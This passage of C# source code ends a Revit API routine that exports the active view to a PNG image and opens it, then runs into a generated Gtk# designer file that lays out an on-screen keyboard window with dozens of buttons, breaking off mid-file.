filepath.Length) { Process.Start(filepath); r = Result.Succeeded; } return r; } /// <summary> /// New code as described in Revit API discussion /// forum thread on how to export an image from a /// specific view using Revit API C#, /// http://forums.autodesk.com/t5/revit-api/how-to-export-an-image-from-a-specific-view-using-revit-api-c/m-p/6424418 /// </summary> private static Result ExportToImage3(Document doc) { var r = Result.Failed; using var tx = new Transaction(doc); tx.Start("Export Image"); var desktop_path = Environment.GetFolderPath( Environment.SpecialFolder.Desktop); var view = doc.ActiveView; var filepath = Path.Combine(desktop_path, view.Name); var img = new ImageExportOptions(); img.ZoomType = ZoomFitType.FitToPage; img.PixelSize = 32; img.ImageResolution = ImageResolution.DPI_600; img.FitDirection = FitDirectionType.Horizontal; img.ExportRange = ExportRange.CurrentView; img.HLRandWFViewsFileType = ImageFileType.PNG; img.FilePath = filepath; img.ShadowViewsFileType = ImageFileType.PNG; doc.ExportImage(img); tx.RollBack(); filepath = Path.ChangeExtension( filepath, "png"); Process.Start(filepath); r = Result.Succeeded; return r; } } }
// This file has been generated by the GUI designer. Do not modify. namespace Valle.GtkUtilidades { public partial class TecladoAlfavetico { private global::Gtk.VBox vbox1; private global::Valle.GtkUtilidades.MiLabel lbltitulo; private global::Gtk.HBox hbox1; private global::Valle.GtkUtilidades.MiLabel txtCadena; private global::Gtk.HButtonBox hbuttonbox1; private global::Gtk.Button btnBackSp; private global::Gtk.Button btnBorrar; private global::Gtk.Table pneTeclado; private global::Gtk.Button btnA; private global::Gtk.Label label1; private global::Gtk.Button btnA1; private global::Gtk.Label label2; private global::Gtk.Button btnA11; private global::Gtk.Label label12; private global::Gtk.Button btnA12; private global::Gtk.Label label13; private global::Gtk.Button btnA13; private global::Gtk.Label label14; private global::Gtk.Button btnA14; private global::Gtk.Label label15; private global::Gtk.Button btnA15; private global::Gtk.Label label16; private global::Gtk.Button btnA16; private global::Gtk.Label label17; private global::Gtk.Button btnA17; private global::Gtk.Label label18; private global::Gtk.Button btnA18; private global::Gtk.Label label19; private global::Gtk.Button btnA19; private global::Gtk.Label label20; private global::Gtk.Button btnA2; private global::Gtk.Label label3; private global::Gtk.Button btnA20; private global::Gtk.Label label21; private global::Gtk.Button btnA22; private global::Gtk.Label label23; private global::Gtk.Button btnA23; private global::Gtk.Label label24; private global::Gtk.Button btnA24; private global::Gtk.Label label25; private global::Gtk.Button btnA25; private global::Gtk.Label label26; private global::Gtk.Button btnA26; private global::Gtk.Label label27; private global::Gtk.Button btnA27; private global::Gtk.Label label28; private global::Gtk.Button btnA28; private global::Gtk.Label label29; private global::Gtk.Button btnA29; private global::Gtk.Label label30; private global::Gtk.Button btnA3; private global::Gtk.Label label4; private global::Gtk.Button btnA30; private global::Gtk.Label label31; private global::Gtk.Button btnA31; private global::Gtk.Label label32; private global::Gtk.Button btnA4; private global::Gtk.Label label5; private global::Gtk.Button btnA5; private global::Gtk.Label label6; private global::Gtk.Button btnA6; private global::Gtk.Label label7; private global::Gtk.Button btnA7; private global::Gtk.Label label8; private global::Gtk.Button btnA8; private global::Gtk.Label label9; private global::Gtk.Button btnA9; private global::Gtk.Label label10; private global::Gtk.Button btnEcho; private global::Gtk.Button btnEspaciador; private global::Gtk.Label label38; private global::Gtk.ToggleButton btnEspecial; private global::Gtk.ToggleButton btnMayuFija; private global::Gtk.ToggleButton btnMayUnpos; protected virtual void Init () { global::Stetic.Gui.Initialize (this); // Widget Valle.GtkUtilidades.TecladoAlfavetico this.Name = "Valle.GtkUtilidades.TecladoAlfavetico"; this.Title = global::Mono.Unix.Catalog.GetString ("TecladoAlfavetico"); this.WindowPosition = ((global::Gtk.WindowPosition)(4)); // Container child Valle.GtkUtilidades.TecladoAlfavetico.Gtk.Container+ContainerChild this.vbox1 = new global::Gtk.VBox (); this.vbox1.Name = "vbox1"; this.vbox1.Spacing = 6; this.vbox1.BorderWidth = ((uint)(15)); // Container child vbox1.Gtk.Box+BoxChild this.lbltitulo = new global::Valle.GtkUtilidades.MiLabel (); this.lbltitulo.HeightRequest = 30; this.lbltitulo.Events = ((global::Gdk.EventMask)(256)); this.lbltitulo.Name = "lbltitulo"; this.vbox1.Add (this.lbltitulo); global::Gtk.Box.BoxChild w1 = ((global::Gtk.Box.BoxChild)(this.vbox1[this.lbltitulo])); w1.Position = 0; w1.Expand = false; w1.Fill = false; // Container child vbox1.Gtk.Box+BoxChild this.hbox1 = new global::Gtk.HBox (); this.hbox1.Name = "hbox1"; this.hbox1.Spacing = 6; // Container child hbox1.Gtk.Box+BoxChild this.txtCadena = new global::Valle.GtkUtilidades.MiLabel (); this.txtCadena.Events = ((global::Gdk.EventMask)(256)); this.txtCadena.Name = "txtCadena"; this.hbox1.Add (this.txtCadena); global::Gtk.Box.BoxChild w2 = ((global::Gtk.Box.BoxChild)(this.hbox1[this.txtCadena])); w2.Position = 0; // Container child hbox1.Gtk.Box+BoxChild this.hbuttonbox1 = new global::Gtk.HButtonBox (); this.hbuttonbox1.Name = "hbuttonbox1"; this.hbuttonbox1.LayoutStyle = ((global::Gtk.ButtonBoxStyle)(4)); // Container child hbuttonbox1.Gtk.ButtonBox+ButtonBoxChild this.btnBackSp = new global::Gtk.Button (); this.btnBackSp.WidthRequest = 80; this.btnBackSp.HeightRequest = 80; this.btnBackSp.CanFocus = true; this.btnBackSp.Name = "btnBackSp"; this.btnBackSp.UseUnderline = true; // Container child btnBackSp.Gtk.Container+ContainerChild global::Gtk.Alignment w3 = new global::Gtk.Alignment (0.5f, 0.5f, 0f, 0f); // Container child GtkAlignment.Gtk.Container+ContainerChild global::Gtk.HBox w4 = new global::Gtk.HBox (); w4.Spacing = 2; // Container child GtkHBox.Gtk.Container+ContainerChild global::Gtk.Image w5 = new global::Gtk.Image (); w5.Pixbuf = global::Stetic.IconLoader.LoadIcon (this, "gtk-goto-first", global::Gtk.IconSize.Dialog); w4.Add (w5); // Container child GtkHBox.Gtk.Container+ContainerChild global::Gtk.Label w7 = new global::Gtk.Label (); w4.Add (w7); w3.Add (w4); this.btnBackSp.Add (w3); this.hbuttonbox1.Add (this.btnBackSp); global::Gtk.ButtonBox.ButtonBoxChild w11 = ((global::Gtk.ButtonBox.ButtonBoxChild)(this.hbuttonbox1[this.btnBackSp])); w11.Expand = false; w11.Fill = false; // Container child hbuttonbox1.Gtk.ButtonBox+ButtonBoxChild this.btnBorrar = new global::Gtk.Button (); this.btnBorrar.CanFocus = true; this.btnBorrar.Name = "btnCancelar"; this.btnBorrar.UseUnderline = true; // Container child btnCancelar.Gtk.Container+ContainerChild global::Gtk.Alignment w12 = new global::Gtk.Alignment (0.5f, 0.5f, 0f, 0f); // Container child GtkAlignment.Gtk.Container+ContainerChild global::Gtk.HBox w13 = new global::Gtk.HBox (); w13.Spacing = 2; // Container child GtkHBox.Gtk.Container+ContainerChild global::Gtk.Image w14 = new global::Gtk.Image (); w14.Pixbuf = global::Stetic.IconLoader.LoadIcon (this, "gtk-cancel", global::Gtk.IconSize.Dialog); w13.Add (w14); // Container child GtkHBox.Gtk.Container+ContainerChild global::Gtk.Label w16 = new global::Gtk.Label (); w13.Add (w16); w12.Add (w13); this.btnBorrar.Add (w12); this.hbuttonbox1.Add (this.btnBorrar); global::Gtk.ButtonBox.ButtonBoxChild w20 = ((global::Gtk.ButtonBox.ButtonBoxChild)(this.hbuttonbox1[this.btnBorrar])); w20.Position = 1; w20.Expand = false; w20.Fill = false; this.hbox1.Add (this.hbuttonbox1); global::Gtk.Box.BoxChild w21 = ((global::Gtk.Box.BoxChild)(this.hbox1[this.hbuttonbox1])); w21.PackType = ((global::Gtk.PackType)(1)); w21.Position = 1; w21.Expand = false; this.vbox1.Add (this.hbox1); global::Gtk.Box.BoxChild w22 = ((global::Gtk.Box.BoxChild)(this.vbox1[this.hbox1])); w22.Position = 1; w22.Expand = false; w22.Fill = false; // Container child vbox1.Gtk.Box+BoxChild this.pneTeclado = new global::Gtk.Table (((uint)(4)), ((uint)(10)), false); this.pneTeclado.Name = "pneTeclado"; this.pneTeclado.RowSpacing = ((uint)(6)); this.pneTeclado.ColumnSpacing = ((uint)(6)); // Container child pneTeclado.Gtk.Table+TableChild this.btnA = new global::Gtk.Button (); this.btnA.WidthRequest = 80; this.btnA.HeightRequest = 80; this.btnA.CanFocus = true; this.btnA.Name = "btnA"; // Container child btnA.Gtk.Container+ContainerChild this.label1 = new global::Gtk.Label (); this.label1.Name = "label1"; this.label1.LabelProp = global::Mono.Unix.Catalog.GetString ("<span size='xx-large'>q</span>"); this.label1.UseMarkup = true; this.btnA.Add (this.label1); this.btnA.Label = null; this.pneTeclado.Add (this.btnA); global::Gtk.Table.TableChild w24 = ((global::Gtk.Table.TableChild)(this.pneTeclado[this.btnA])); w24.XOptions = ((global::Gtk.AttachOptions)(4)); w24.YOptions = ((global::Gtk.AttachOptions)(4)); // Container child pneTeclado.Gtk.Table+TableChild this.btnA1 = new global::Gtk.Button (); this.btnA1.WidthRequest = 80; this.btnA1.HeightRequest = 80; this.btnA1.CanFocus = true; this.btnA1.Name = "btnA1"; // Container child btnA1.Gtk.Container+ContainerChild this.label2 = new global::Gtk.Label (); this.label2.Name = "label2"; this.label2.LabelProp = global::Mono.Unix.Catalog.GetString ("label1"); this.btnA1.Add (this.label2); this.btnA1.Label = null; this.pneTeclado.Add (this.btnA1); global::Gtk.Table.TableChild w26 = ((global::Gtk.Table.TableChild)(this.pneTeclado[this.btnA1])); w26.LeftAttach = ((uint)(1)); w26.RightAttach = ((uint)(2)); w26.XOptions = ((global::Gtk.AttachOptions)(4)); w26.YOptions = ((global::Gtk.AttachOptions)(4)); // Container child pneTeclado.Gtk.Table+TableChild this.btnA11 = new global::Gtk.Button (); this.btnA11.WidthRequest = 80; this.btnA11.HeightRequest = 80; this.btnA11.CanFocus = true; this.btnA11.Name = "btnA11"; // Container child btnA11.Gtk.Container+ContainerChild this.label12 = new global::Gtk.Label (); this.label12.Name = "label12"; this.label12.LabelProp = global::Mono.Unix.Catalog.GetString ("label1"); this.btnA11.Add (this.label12); this.btnA11.Label = null; this.pneTeclado.Add (this.btnA11); global::Gtk.Table.TableChild w28 = ((global::Gtk.Table.TableChild)(this.pneTeclado[this.btnA11])); w28.TopAttach = ((uint)(1)); w28.BottomAttach = ((uint)(2)); w28.XOptions = ((global::Gtk.AttachOptions)(4)); w28.YOptions = ((global::Gtk.AttachOptions)(4)); // Container child pneTeclado.Gtk.Table+TableChild this.btnA12 = new global::Gtk.Button (); this.btnA12.WidthRequest = 80; this.btnA12.HeightRequest = 80; this.btnA12.CanFocus = true; this.btnA12.Name = "btnA12"; // Container child btnA12.Gtk.Container+ContainerChild this.label13 = new global::Gtk.Label (); this.label13.Name = "label13"; this.label13.LabelProp = global::Mono.Unix.Catalog.GetString ("label1"); this.btnA12.Add (this.label13); this.btnA12.Label = null; this.pneTeclado.Add (this.btnA12); global::Gtk.Table.TableChild w30 = ((global::Gtk.Table.TableChild)(this.pneTeclado[this.btnA12])); w30.TopAttach = ((uint)(1)); w30.BottomAttach = ((uint)(2)); w30.LeftAttach = ((uint)(1)); w30.RightAttach = ((uint)(2)); w30.XOptions = ((global::Gtk.AttachOptions)(4)); w30.YOptions = ((global::Gtk.AttachOptions)(4)); // Container child pneTeclado.Gtk.Table+TableChild this.btnA13 = new global::Gtk.Button (); this.btnA13.WidthRequest = 80; this.btnA13.HeightRequest = 80; this.btnA13.CanFocus = true; this.btnA13.Name = "btnA13"; // Container child btnA13.Gtk.Container+ContainerChild this.label14 = new global::Gtk.Label (); this.label14.Name = "label14"; this.label14.LabelProp = global::Mono.Unix.Catalog.GetString ("label1"); this.btnA13.Add (this.label14); this.btnA13.Label = null; this.pneTeclado.Add (this.btnA13); global::Gtk.Table.TableChild w32 = ((global::Gtk.Table.TableChild)(this.pneTeclado[this.btnA13])); w32.TopAttach = ((uint)(1)); w32.BottomAttach = ((uint)(2)); w32.LeftAttach = ((uint)(2)); w32.RightAttach = ((uint)(3)); w32.XOptions = ((global::Gtk.AttachOptions)(4)); w32.YOptions = ((global::Gtk.AttachOptions)(4)); // Container child pneTeclado.Gtk.Table+TableChild this.btnA14 = new global::Gtk.Button (); this.btnA14.WidthRequest = 80; this.btnA14.HeightRequest = 80; this.btnA14.CanFocus = true; this.btnA14.Name = "btnA14"; // Container child btnA14.Gtk.Container+ContainerChild this.label15 = new global::Gtk.Label (); this.label15.Name = "label15"; this.label15.LabelProp = global::Mono.Unix.Catalog.GetString ("label1"); this.btnA14.Add (this.label15); this.btnA14.Label = null; this.pneTeclado.Add (this.btnA14); global::Gtk.Table.TableChild w34 = ((global::Gtk.Table.TableChild)(this.pneTeclado[this.btnA14])); w34.TopAttach = ((uint)(1)); w34.BottomAttach = ((uint)(2)); w34.LeftAttach = ((uint)(3)); w34.RightAttach = ((uint)(4)); w34.XOptions = ((global::Gtk.AttachOptions)(4)); w34.YOptions = ((global::Gtk.AttachOptions)(4)); // Container child pneTeclado.Gtk.Table+TableChild this.btnA15 = new global::Gtk.Button (); this.btnA15.WidthRequest = 80; this.btnA15.HeightRequest = 80; this.btnA15.CanFocus = true; this.btnA15.Name = "btnA15"; // Container child btnA15.Gtk.Container+ContainerChild this.label16 = new global::Gtk.Label (); this.label16.Name = "label16"; this.label16.LabelProp = global::Mono.Unix.Catalog.GetString ("label1"); this.btnA15.Add (this.label16); this.btnA15.Label = null; this.pneTeclado.Add (this.btnA15); global::Gtk.Table.TableChild w36 = ((global::Gtk.Table.TableChild)(this.pneTeclado[this.btnA15])); w36.TopAttach = ((uint)(1)); w36.BottomAttach = ((uint)(2)); w36.LeftAttach = ((uint)(4)); w36.RightAttach = ((uint)(5)); w36.XOptions = ((global::Gtk.AttachOptions)(4)); w36.YOptions = ((global::Gtk.AttachOptions)(4)); // Container child pneTeclado.Gtk.Table+TableChild this.btnA16 = new global::Gtk.Button (); this.btnA16.WidthRequest = 80; this.btnA16.HeightRequest = 80; this.btnA16.CanFocus = true; this.btnA16.Name = "btnA16"; // Container child btnA16.Gtk.Container+ContainerChild this.label17 = new global::Gtk.Label (); this.label17.Name = "label17"; this.label17.LabelProp = global::Mono.Unix.Catalog.GetString ("label1"); this.btnA16.Add (this.label17); this.btnA16.Label = null; this.pneTeclado.Add (this.btnA16); global::Gtk.Table.TableChild w38 = ((global::Gtk.Table.TableChild)(this.pneTeclado[this.btnA16])); w38.TopAttach = ((uint)(1)); w38.BottomAttach = ((uint)(2)); w38.LeftAttach = ((uint)(5)); w38.RightAttach = ((uint)(6)); w38.XOptions = ((global::Gtk.AttachOptions)(4)); w38.YOptions = ((global::Gtk.AttachOptions)(4)); // Container child pneTeclado.Gtk.Table+TableChild this.btnA17 = new global::Gtk.Button (); this.btnA17.WidthRequest = 80; this.btnA17.HeightRequest = 80; this.btnA17.CanFocus = true; this.btnA17.Name = "btnA17"; // Container child btnA17.Gtk.Container+ContainerChild this.label18 = new global::Gtk.Label (); this.label18.Name = "label18"; this.label18.LabelProp = global::Mono.Unix.Catalog.GetString ("label1"); this.btnA17.Add (this.label18); this.btnA17.Label = null; this.pneTeclado.Add (this.btnA17); global::Gtk.Table.TableChild w40 = ((global::Gtk.Table.TableChild)(this.pneTeclado[this.btnA17])); w40.TopAttach = ((uint)(1)); w40.BottomAttach = ((uint)(2)); w40.LeftAttach = ((uint)(6)); w40.RightAttach = ((uint)(7)); w40.XOptions = ((global::Gtk.AttachOptions)(4)); w40.YOptions = ((global::Gtk.AttachOptions)(4)); // Container child pneTeclado.Gtk.Table+TableChild this.btnA18 = new global::Gtk.Button (); this.btnA18.WidthRequest = 80; this.btnA18.HeightRequest = 80; this.btnA18.CanFocus = true; this.btnA18.Name = "btnA18"; // Container child btnA18.Gtk.Container+ContainerChild this.label19 = new global::Gtk.Label (); this.label19.Name = "label19"; this.label19.LabelProp = global::Mono.Unix.Catalog.GetString ("label1"); this.btnA18.Add (this.label19); this.btnA18.Label = null; this.pneTeclado.Add (this.btnA18); global::Gtk.Table.TableChild w42 = ((global::Gtk.Table.TableChild)(this.pneTeclado[this.btnA18])); w42.TopAttach = ((uint)(1)); w42.BottomAttach = ((uint)(2)); w42.LeftAttach = ((uint)(7)); w42.RightAttach = ((uint)(8)); w42.XOptions = ((global::Gtk.AttachOptions)(4)); w42.YOptions = ((global::Gtk.AttachOptions)(4)); // Container child pneTeclado.Gtk.Table+TableChild this.btnA19 = new global::Gtk.Button (); this.btnA19.WidthRequest = 80; this.btnA19.HeightRequest = 80; this.btnA19.CanFocus = true; this.btnA19.Name = "btnA19"; // Container child btnA19.Gtk.Container+ContainerChild this.label20 = new global::Gtk.Label (); this.label20.Name = "label20"; this.label20.LabelProp = global::Mono.Unix.Catalog.GetString ("label1"); this.btnA19.Add (this.label20); this.btnA19.Label = null; this.pneTeclado.Add (this.btnA19); global::Gtk.Table.TableChild w44 = ((global::Gtk.Table.TableChild)(this.pneTeclado[this.btnA19])); w44.TopAttach = ((uint)(1)); w44.BottomAttach = ((uint)(2)); w44.LeftAttach = ((uint)(8)); w44.RightAttach = ((uint)(9)); w44.XOptions = ((global::Gtk.AttachOptions)(4)); w44.YOptions = ((global::Gtk.AttachOptions)(4)); // Container child pneTeclado.Gtk.Table+TableChild this.btnA2 = new global::Gtk.Button (); this.btnA2.WidthRequest = 80; this.btnA2.HeightRequest = 80; this.btnA2.CanFocus = true; this.btnA2.Name = "btnA2"; // Container child btnA2.Gtk.Container+ContainerChild this.label3 = new global::Gtk.Label (); this.label3.Name = "label3"; this.label3.LabelProp = global::Mono.Unix.Catalog.GetString ("label1"); this.btnA2.Add (this.label3); this.btnA2.Label = null; this.pneTeclado.Add (this.btnA2); global::Gtk.Table.TableChild w46 = ((global::Gtk.Table.TableChild)(this.pneTeclado[this.btnA2])); w46.LeftAttach = ((uint)(2)); w46.RightAttach = ((uint)(3)); w46.XOptions = ((global::Gtk.AttachOptions)(4)); w46.YOptions = ((global::Gtk.AttachOptions)(4)); // Container child pneTeclado.Gtk.Table+TableChild this.btnA20 = new global::Gtk.Button (); this.btnA20.WidthRequest = 80; this.btnA20.HeightRequest = 80; this.btnA20.CanFocus = true; this.btnA20.Name = "btnA20"; // Container child btnA20.Gtk.Container+ContainerChild this.label21 = new global::Gtk.Label (); this.label21.Name = "label21"; this.label21.LabelProp = global::Mono.Unix.Catalog.GetString ("label1"); this.btnA20.Add (this.label21); this.btnA20.Label = null; this.pneTeclado.Add (this.btnA20); global::Gtk.Table.TableChild w48 = ((global::Gtk.Table.TableChild)(this.pneTeclado[this.btnA20])); w48.TopAttach = ((uint)(1)); w48.BottomAttach = ((uint)(2)); w48.LeftAttach = ((uint)(9)); w48.RightAttach = ((uint)(10)); w48.XOptions = ((global::Gtk.AttachOptions)(4)); w48.YOptions = ((global::Gtk.AttachOptions)(4)); // Container child pneTeclado.Gtk.Table+TableChild this.btnA22 = new global::Gtk.Button (); this.btnA22.WidthRequest = 80; this.btnA22.HeightRequest = 80; this.btnA22.CanFocus = true; this.btnA22.Name = "btnA22"; // Container child btnA22.Gtk.Container+ContainerChild this.label23 = new global::Gtk.Label (); this.label23.Name = "label23"; this.label23.LabelProp = global::Mono.Unix.Catalog.GetString ("label1"); this.btnA22.Add (this.label23); this.btnA22.Label = null; this.pneTeclado.Add (this.btnA22); global::Gtk.Table.TableChild w50 = ((global::Gtk.Table.TableChild)(this.pneTeclado[this.btnA22])); w50.TopAttach = ((uint)(2)); w50.BottomAttach = ((uint)(3)); w50.XOptions = ((global::Gtk.AttachOptions)(4)); w50.YOptions = ((global::Gtk.AttachOptions)(4)); // Container child pneTeclado.Gtk.Table+TableChild this.btnA23 = new global::Gtk.Button (); this.btnA23.WidthRequest = 80; this.btnA23.HeightRequest = 80; this.btnA23.CanFocus = true; this.btnA23.Name = "btnA23"; // Container child btnA23.Gtk.Container+ContainerChild this.label24 = new global::Gtk.Label (); this.label24.Name = "label24"; this.label24.LabelProp = global::Mono.Unix.Catalog.GetString ("label1"); this.btnA23.Add (this.label24); this.btnA23.Label = null; this.pneTeclado.Add (this.btnA23); global::Gtk.Table.TableChild w52 = ((global::Gtk.Table.TableChild)(this.pneTeclado[this.btnA23])); w52.TopAttach = ((uint)(2)); w52.BottomAttach = ((uint)(3)); w52.LeftAttach = ((uint)(1)); w52.RightAttach = ((uint)(2)); w52.XOptions = ((global::Gtk.AttachOptions)(4)); w52.YOptions = ((global::Gtk.AttachOptions)(4)); // Container child pneTeclado.Gtk.Table+TableChild this.btnA24 = new global::Gtk.Button (); this.btnA24.WidthRequest = 80; this.btnA24.HeightRequest = 80; this.btnA24.CanFocus = true; this.btnA24.Name = "btnA24"; // Container child btnA24.Gtk.Container+ContainerChild this.label25 = new global::Gtk.Label (); this.label25.Name = "label25"; this.label25.LabelProp = global::Mono.Unix.Catalog.GetString ("label1"); this.btnA24.Add (this.label25); this.btnA24.Label = null; this.pneTeclado.Add (this.btnA24); global::Gtk.Table.TableChild w54 = ((global::Gtk.Table.TableChild)(this.pneTeclado[this.btnA24])); w54.TopAttach = ((uint)(2)); w54.BottomAttach = ((uint)(3)); w54.LeftAttach = ((uint)(2)); w54.RightAttach = ((uint)(3)); w54.XOptions = ((global::Gtk.AttachOptions)(4)); w54.YOptions = ((global::Gtk.AttachOptions)(4)); // Container child pneTeclado.Gtk.Table+TableChild this.btnA25 = new global::Gtk.Button (); this.btnA25.WidthRequest = 80; this.btnA25.HeightRequest = 80; this.btnA25.CanFocus = true; this.btnA25.Name = "btnA25"; // Container child btnA25.Gtk.Container+ContainerChild this.label26 = new global::Gtk.Label (); this.label26.Name = "label26"; this.label26.LabelProp = global::Mono.Unix.Catalog.GetString ("label1"); this.btnA25.Add (this.label26); this.btnA25.Label = null; this.pneTeclado.Add (this.btnA25); global::Gtk.Table.TableChild w56 = ((global::Gtk.Table.TableChild)(this.pneTeclado[this.btnA25])); w56.TopAttach = ((uint)(2)); w56.BottomAttach = ((uint)(3)); w56.LeftAttach = ((uint)(3)); w56.RightAttach = ((uint)(4)); w56.XOptions = ((global::Gtk.AttachOptions)(4)); w56.YOptions = ((global::Gtk.AttachOptions)(4)); // Container child pneTeclado.Gtk.Table+TableChild this.btnA26 = new global::Gtk.Button (); this.btnA26.WidthRequest = 80; this.btnA26.HeightRequest = 80; this.btnA26.CanFocus = true; this.btnA26.Name = "btnA26"; // Container child btnA26.Gtk.Container+ContainerChild this.label27 = new global::Gtk.Label (); this.label27.Name = "label27"; this.label27.LabelProp = global::Mono.Unix.Catalog.GetString ("label1"); this.btnA26.Add (this.label27); this.btnA26.Label = null; this.pneTeclado.Add (this.btnA26); global::Gtk.Table.TableChild w58 = ((global::Gtk.Table.TableChild)(this.pneTeclado[this.btnA26])); w58.TopAttach = ((uint)(2)); w58.BottomAttach = ((uint)(3)); w58.LeftAttach = ((uint)(4)); w58.RightAttach = ((uint)(5)); w58.XOptions = ((global::Gtk.AttachOptions)(4)); w58.YOptions = ((global::Gtk.AttachOptions)(4)); // Container child pneTeclado.Gtk.Table+TableChild this.btnA27 = new global::Gtk.Button (); this.btnA27.WidthRequest = 80; this.btnA27.HeightRequest = 80; this.btnA27.CanFocus = true; this.btnA27.Name = "btnA27"; // Container child btnA27.Gtk.Container+ContainerChild this.label28 = new global::Gtk.Label (); this.label28.Name = "label28"; this.label28.LabelProp = global::Mono.Unix.Catalog.GetString ("label1"); this.btnA27.Add (this.label28); this.btnA27.Label = null; this.pneTeclado.Add (this.btnA27); global::Gtk.Table.TableChild w60 = ((global::Gtk.Table.TableChild)(this.pneTeclado[this.btnA27])); w60.TopAttach = ((uint)(2)); w60.BottomAttach = ((uint)(3)); w60.LeftAttach = ((uint)(5)); w60.RightAttach = ((uint)(6)); w60.XOptions = ((global::Gtk.AttachOptions)(4)); w60.YOptions = ((global::Gtk.AttachOptions)(4)); // Container child pneTeclado.Gtk.Table+TableChild this.btnA28 = new global::Gtk.Button (); this.btnA28.WidthRequest = 80; this.btnA28.HeightRequest = 80; this.btnA28.CanFocus = true; this.btnA28.Name = "btnA28"; // Container child btnA28.Gtk.Container+ContainerChild this.label29 = new global::Gtk.Label (); this.label29.Name = "label29"; this.label29.LabelProp = global::Mono.Unix.Catalog.GetString ("label1"); this.btnA28.Add (this.label29); this.btnA28.Label = null; this.pneTeclado.Add (this.btnA28); global::Gtk.Table.TableChild w62 = ((global::Gtk.Table.TableChild)(this.pneTeclado[this.btnA28])); w62.TopAttach = ((uint)(2)); w62.BottomAttach = ((uint)(3)); w62.LeftAttach = ((uint)(6)); w62.RightAttach = ((uint)(7)); w62.XOptions = ((global::Gtk.AttachOptions)(4)); w62.YOptions = ((global::Gtk.AttachOptions)(4)); // Container child pneTeclado.Gtk.Table+TableChild this.btnA29 = new global::Gtk.Button (); this.btnA29.WidthRequest = 80; this.btnA29.HeightRequest = 80; this.btnA29.CanFocus = true; this.btnA29.Name = "btnA29"; // Container child btnA29.Gtk.Container+ContainerChild this.label30 = new global::Gtk.Label (); this.label30.Name = "label30"; this.label30.LabelProp = global::Mono.Unix.Catalog.GetString ("label1"); this.btnA29.Add (this.label30); this.btnA29.Label = null; this.pneTeclado.Add (this.btnA29); global::Gtk.Table.TableChild w64 = ((global::Gtk.Table.TableChild)(this.pneTeclado[this.btnA29])); w64.TopAttach = ((uint)(2)); w64.BottomAttach = ((uint)(3)); w64.LeftAttach = ((uint)(7)); w64.RightAttach = ((uint)(8)); w64.XOptions = ((global::Gtk.AttachOptions)(4)); w64.YOptions = ((global::Gtk.AttachOptions)(4)); // Container child pneTeclado.Gtk.Table+TableChild this.btnA3 = new global::Gtk.Button (); this.btnA3.WidthRequest = 80; this.btnA3.HeightRequest = 80; this.btnA3.CanFocus = true; this.btnA3.Name = "btnA3"; // Container child btnA3.Gtk.Container+ContainerChild this.label4 = new global::Gtk.Label (); this.label4.Name = "label4"; this.label4.LabelProp = global::Mono.Unix.Catalog.GetString ("label1"); this.btnA3.Add (this.label4); this.btnA3.Label = null; this.pneTeclado.Add (this.btnA3); global::Gtk.Table.TableChild w66 = ((global::Gtk.Table.TableChild)(this.pneTeclado[this.btnA3])); w66.LeftAttach = ((uint)(3)); w66.RightAttach = ((uint)(4)); w66.XOptions = ((global::Gtk.AttachOptions)(4)); w66.YOptions = ((global::Gtk.AttachOptions)(4)); // Container child pneTeclado.Gtk.Table+TableChild this.btnA30 = new global::Gtk.Button (); this.btnA30.WidthRequest = 80; this.btnA30.HeightRequest = 80; this.btnA30.CanFocus = true; this.btnA30.Name = "btnA30"; // Container child btnA30.Gtk.Container+ContainerChild this.label31 = new global::Gtk.Label (); this.label31.Name = "label31"; this.label31.LabelProp = global::Mono.Unix.Catalog.GetString ("label1"); this.btnA30.Add (this.label31); this.btnA30.Label = null; this.pneTeclado.Add (this.btnA30); global::Gtk.Table.TableChild w68 = ((global::Gtk.Table.TableChild)(this.pneTeclado[this.btnA30])); w68.TopAttach = ((uint)(2)); w68.BottomAttach = ((uint)(3)); w68.LeftAttach = ((uint)(8)); w68.RightAttach = ((uint)(9)); w68.XOptions = ((global::Gtk.AttachOptions)(4)); w68.YOptions = ((global::Gtk.AttachOptions)(4)); // Container child pneTeclado.Gtk.Table+TableChild this.btnA31 = new global::Gtk.Button (); this.btnA31.WidthRequest = 80; this.btnA31.HeightRequest = 80; this.btnA31.CanFocus = true; this.btnA31.Name = "btnA31"; // Container child btnA31.Gtk.Container+ContainerChild this.label32 = new global::Gtk.Label (); this.label32.Name = "label32"; this.label32.LabelProp = global::Mono.Unix.Catalog.GetString ("label1"); this.btnA31.Add (this.label32); this.btnA31.Label = null; this.pneTeclado.Add (this.btnA31); global::Gtk.Table.TableChild w70 = ((global::Gtk.Table.TableChild)(this.pneTeclado[this.btnA31])); w70.TopAttach = ((uint)(2)); w70.BottomAttach = ((uint)(3)); w70.LeftAttach = ((uint)(9)); w70.RightAttach = ((uint)(10)); w70.XOptions = ((global::Gtk.AttachOptions)(4)); w70.YOptions = ((global::Gtk.AttachOptions)(4)); // Container child pneTeclado.Gtk.Table+TableChild this.btnA4 = new global::Gtk.Button (); this.btnA4.WidthRequest = 80; this.btnA4.HeightRequest = 80; this.btnA4.CanFocus = true; this.btnA4.Name = "btnA4"; // Container child btnA4.Gtk.Container+ContainerChild this.label5 = new global::Gtk.Label (); this.label5.Name = "label5"; this.label5.LabelProp = global::Mono.Unix.Catalog.GetString ("label1"); this.btnA4.Add (this.label5); this.btnA4.Label = null; this.pneTeclado.Add (this.btnA4); global::Gtk.Table.TableChild w72 = ((global::Gtk.Table.TableChild)(this.pneTeclado[this.btnA4])); w72.LeftAttach = ((uint)(4)); w72.RightAttach = ((uint)(5)); w72.XOptions = ((global::Gtk.AttachOptions)(4)); w72.YOptions = ((global::Gtk.AttachOptions)(4)); // Container child pneTeclado.Gtk.Table+TableChild this.btnA5 = new global::Gtk.Button (); this.btnA5.WidthRequest = 80; this.btnA5.HeightRequest = 80; this.btnA5.CanFocus = true; this.btnA5.Name = "btnA5"; // Container child btnA5.Gtk.Container+ContainerChild this.label6 = new global::Gtk.Label (); this.label6.Name = "label6"; this.label6.LabelProp = global::Mono.Unix.Catalog.GetString ("label1"); this.btnA5.Add (this.label6); this.btnA5.Label = null; this.pneTeclado.Add (this.btnA5); global::Gtk.Table.TableChild w74 = ((global::Gtk.Table.TableChild)(this.pneTeclado[this.btnA5])); w74.LeftAttach = ((uint)(5)); w74.RightAttach = ((uint)(6)); w74.XOptions = ((global::Gtk.AttachOptions)(4)); w74.YOptions = ((global::Gtk.AttachOptions)(4)); // Container child pneTeclado.Gtk.Table+TableChild this.btnA6 = new global::Gtk.Button (); this.btnA6.WidthRequest = 80; this.btnA6.HeightRequest = 80; this.btnA6.CanFocus = true; this.btnA6.Name = "btnA6"; // Container child btnA6.Gtk.Container+ContainerChild this.label7 = new 